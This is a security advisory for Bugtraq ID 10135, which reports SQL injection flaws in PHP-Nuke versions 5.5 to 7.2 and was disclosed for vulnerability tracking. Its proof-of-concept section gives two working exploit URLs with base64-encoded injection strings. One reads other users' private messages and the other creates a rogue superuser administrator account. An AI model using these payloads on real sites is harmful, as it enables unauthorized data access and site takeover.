PHP-Nuke Multiple SQL Injection Vulnerabilities

BID:10135

Info

PHP-Nuke Multiple SQL Injection Vulnerabilities

Bugtraq ID: 10135
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Apr 13 2004 12:00AM
Updated: Apr 13 2004 12:00AM
Credit: Disclosure of this issue is credited to Janek Vind "waraxe".
Vulnerable: Francisco Burzi PHP-Nuke 7.2
Francisco Burzi PHP-Nuke 7.1
Francisco Burzi PHP-Nuke 7.0 FINAL
Francisco Burzi PHP-Nuke 7.0
Francisco Burzi PHP-Nuke 6.9
Francisco Burzi PHP-Nuke 6.7
Francisco Burzi PHP-Nuke 6.6
Francisco Burzi PHP-Nuke 6.5 RC3
Francisco Burzi PHP-Nuke 6.5 RC2
Francisco Burzi PHP-Nuke 6.5 RC1
Francisco Burzi PHP-Nuke 6.5 FINAL
Francisco Burzi PHP-Nuke 6.5 BETA 1
Francisco Burzi PHP-Nuke 6.5
Francisco Burzi PHP-Nuke 6.0
Francisco Burzi PHP-Nuke 5.5
Not Vulnerable:

Discussion

PHP-Nuke Multiple SQL Injection Vulnerabilities

Reportedly PHP-Nuke is prone to multiple SQL injection vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied input.

As a result of these issues an attacker could modify the logic and structure of database queries. Other attacks may also be possible, such as gaining access to sensitive information.

Exploit / POC

PHP-Nuke Multiple SQL Injection Vulnerabilities

No exploit is required to leverage this issue. The following proof of concept has been provided:

To read arbitrary users private messages:
http://www.example.com/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&user=eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKjox

To create an arbitrary administrator account with username "waraxe2" and password "coolpass":
http://www.example.com/nuke71/admin.php?op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd=coolpass&[email protected]&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox

Solution / Fix

PHP-Nuke Multiple SQL Injection Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PHP-Nuke Multiple SQL Injection Vulnerabilities

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